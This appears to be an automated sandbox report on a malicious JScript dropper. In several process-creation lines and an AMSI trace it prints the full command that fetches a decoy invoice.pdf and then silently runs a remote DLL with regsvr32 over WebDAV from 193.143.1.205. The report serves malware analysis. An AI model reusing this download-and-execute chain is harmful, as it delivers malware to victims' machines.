Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2784527361260704938.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/63@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kk3yvvlz.f4m.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1528,i,11530801565310613481,17627774388203881396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1528,i,11530801565310613481,17627774388203881396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3802.js.csv");ITextStream.WriteLine(" entry:7820 f:qtgguxq");ITextStream.WriteLine(" exec:2 f:qtgguxq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
